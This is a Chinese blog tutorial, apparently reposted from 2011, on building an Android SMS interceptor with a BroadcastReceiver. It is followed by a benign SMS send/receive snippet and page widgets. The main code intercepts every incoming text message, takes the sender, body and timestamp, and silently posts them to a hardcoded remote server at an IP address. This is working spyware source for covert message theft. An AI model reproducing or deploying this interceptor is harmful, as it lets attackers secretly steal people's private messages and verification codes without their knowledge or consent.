android 使用BroadcastReceiver编写短信***

BroadcastReceiver编写短信***步骤:

第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。
<!--
系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图
当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,
则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->
	<receiver android:name=".MyBroadcast">
	    <intent-filter>
	         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
	    </intent-filter>
	</receiver>
第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。
通过名称为pdus,就可以从上面的广播意图中获取短信的内容
public class MyBroadcast extends BroadcastReceiver {
	@Override
	public void onReceive(Context context, Intent intent) {
		 
		//得到的是Object 数组 每条短信是以字节数据的形式存放
			Object[] pduss = (Object[])intent.getExtras().get("pdus");
			for(Object pdus : pduss){
				byte[] pdumessage  = (byte[])pdus;
				SmsMessage sms = SmsMessage.createFromPdu(pdumessage);
				String phone = sms.getOriginatingAddress();
				String content = sms.getMessageBody();
				Date  date  =  new Date(sms.getTimestampMillis());
				SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
				String sendtime = sDateFormat.format(date);
			//将短信放在map容器中
			Map<String, String> map = new HashMap<String, String>();
		        map.put("phone",phone);
		        map.put("content",content);
		        map.put("sendtime", sendtime);
		        String path="http://218.67.59.20:8080/test/index.jsp";
		        try {
					//将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容
					SmsToWeb.post(path, map, "UTF-8");
				} catch (Exception e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
	}

}




转载于:https://www.cnblogs.com/javaspring/archive/2011/12/04/2656542.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的 Android 应用程序开发的 BroadcastReceiver 编程实现短信收发操作的示例代码: 1. 在 AndroidManifest.xml 文件中添加以下权限和 BroadcastReceiver 的声明: ```xml <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <receiver android:name=".SmsReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> ``` 2. 创建一个 SmsReceiver 类,继承自 BroadcastReceiver,用于接收和处理短信: ```java import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; import android.widget.Toast; public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // 获取短信内容 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for (Object pdu : pdus) { SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu); String message = sms.getMessageBody(); String sender = sms.getOriginatingAddress(); // 处理收到的短信 Toast.makeText(context, "收到来自 " + sender + " 的短信:" + message, Toast.LENGTH_LONG).show(); } } } ``` 3. 创建一个发送短信的方法: ```java import android.telephony.SmsManager; public void sendSms(String phoneNumber, String message) { SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(phoneNumber, null, message, null, null); } ``` 4. 在需要发送短信的地方调用 sendSms 方法: ```java sendSms("10086", "Hello, world!"); ``` 以上是一个简单的短信收发操作的实现。需要注意的是,发送短信需要获取 SEND_SMS 权限,并且需要处理短信发送成功或失败的回调。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值